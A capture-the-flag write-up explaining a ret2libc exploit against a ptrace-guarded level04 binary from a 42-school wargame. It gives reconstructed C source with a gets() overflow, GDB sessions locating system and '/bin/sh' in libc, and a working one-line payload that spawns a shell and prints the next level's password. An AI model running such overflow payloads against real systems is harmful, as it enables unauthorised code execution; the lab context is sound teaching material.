Featured image of post Ret2libc on a `execve` protected child process

Ret2libc on a `execve` protected child process

Writing a ret2libc exploit on a protected binary that prevents the use of execve syscall

Preamble

This post is part of a series on common software vulnerabilities. The exploits target binaries from Rainfall, a CTF project by 42. Prior knowledge of x86 assembly and C is required !

Reconstructed C code from assembly

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#define X86_ORIG_EAX 44
#define X86_EXECVE_SYSNO 11

#include <stdlib.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <linux/fcntl.h>

int main(int argc, char **argv, char **envp)
{
    int stat_loc;
    char buffer[128];
    int child_eax;
    pid_t pid;

    pid = fork();
    memset(buffer, 0, sizeof(buffer));
    child_eax = 0;
    stat_loc = 0;

    if (pid)
    {
        /* Parent */

        do
        {
            wait(&stat_loc);
            if (WIFEXITED(stat_loc) || WIFSIGNALED(stat_loc))
            {
                puts("child is exiting...");
                return 0;
            }
            child_eax = ptrace(PTRACE_PEEKUSER, pid, X86_ORIG_EAX, 0);
        } while (child_eax != X86_EXECVE_SYSNO);
        puts("no exec() for you");
        kill(pid, SIGKILL);
    }
    else
    {
        /* Child */

        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, 0, 0);
        puts("Give me some shellcode, k");
        gets(buffer);
    }

    return 0;
}

Exploit

In this program, a new child process is spawn using fork(). The parent then proceed to wait the child. The use ptrace(PTRACE_ME), which, according to the manual :

PTRACE_TRACEME Indicates that this process is to be traced by its parent. Any signal (except SIGKILL) delivered to this process will cause it to stop and its parent to be notified via wait(2). Also, all subsequent calls to execve(2) by this process will cause a SIGTRAP to be sent to it, giving the parent a chance to gain control before the new program begins execution. A process probably shouldn’t make this request if its parent isn’t expecting to trace it. (pid, addr, and data are ignored.)

The child has an obvious buffer-overflow vulnerability because of the usage of gets, granting us saved-eip overwrite. The NX bit of the executable is disabled, which mean we can execute arbitrary code in the stack.

Whenever the child will try to execve, a SIGTRAP will wake up the parent. Right after, the parent proceed to get the value of the eax register in the child process, and if it contains the value 11, which correspond to the sysno for execve on x86 Linux, the parent immediately send a SIGKILL to the child. This prevent us from launching a shellcode from the stack that try to use the execve syscall.

My initial approach was to craft a shellcode that use execveat syscall instead. Unfortunatly, the Linux kernel that the host has is too old and does not implement the syscall, returning errno ENOSYS in the eax register after the int 0x80.

ret2libc

Instead of crafting a shellcode, we can take advantage of the fact that the libc is loaded into memory and has already some really usefull fuction like system for attackers. We can overwrite the saved-eip with the address of the system function, and set-up the stack so the first argument is a pointer to a /bin/sh string. With GDB, we can find these easily. Also ASLR is disabled so the libc will be loaded in memory at the exact same address for each run.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e6aed0 <system>
(gdb) info proc mappings
process 2893
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/users/level04/level04
	 0x8049000  0x804a000     0x1000        0x0 /home/users/level04/level04
	 0x804a000  0x804b000     0x1000     0x1000 /home/users/level04/level04
	0xf7e2b000 0xf7e2c000     0x1000        0x0 
	0xf7e2c000 0xf7fcc000   0x1a0000        0x0 /lib32/libc-2.15.so
	0xf7fcc000 0xf7fcd000     0x1000   0x1a0000 /lib32/libc-2.15.so
	0xf7fcd000 0xf7fcf000     0x2000   0x1a0000 /lib32/libc-2.15.so
	0xf7fcf000 0xf7fd0000     0x1000   0x1a2000 /lib32/libc-2.15.so
	0xf7fd0000 0xf7fd4000     0x4000        0x0 
	0xf7fda000 0xf7fdb000     0x1000        0x0 
	0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
	0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
	0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
	0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find 0xf7e2b000,0xf7fd0000,"/bin/sh"
0xf7f897ec
1 pattern found.
(gdb) x/1s 0xf7f897ec
0xf7f897ec:	 "/bin/sh"

The address of system is at 0xf7e6aed0 and the address of /bin/sh is at 0xf7f897ec. How convenient that the libc even has such string !

Payload

After deducing how much garbage bytes we need to write before overwriting the saved-eip, we overwrite it to the address of system and set-up the call stack so that system first argument is the pointer to /bin/sh :

1
2
3
4
5
6
7
level04@OverRide:~$ (python -c 'print("A"*156 + "\xF7\xE6\xAE\xD0"[::-1] + "B"*4 + "\xF7\xF8\x97\xEC"[::-1])'; cat) | ./level04
Give me some shellcode, k
whoami
level05
cd ../level05
cat .pass
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN

Success !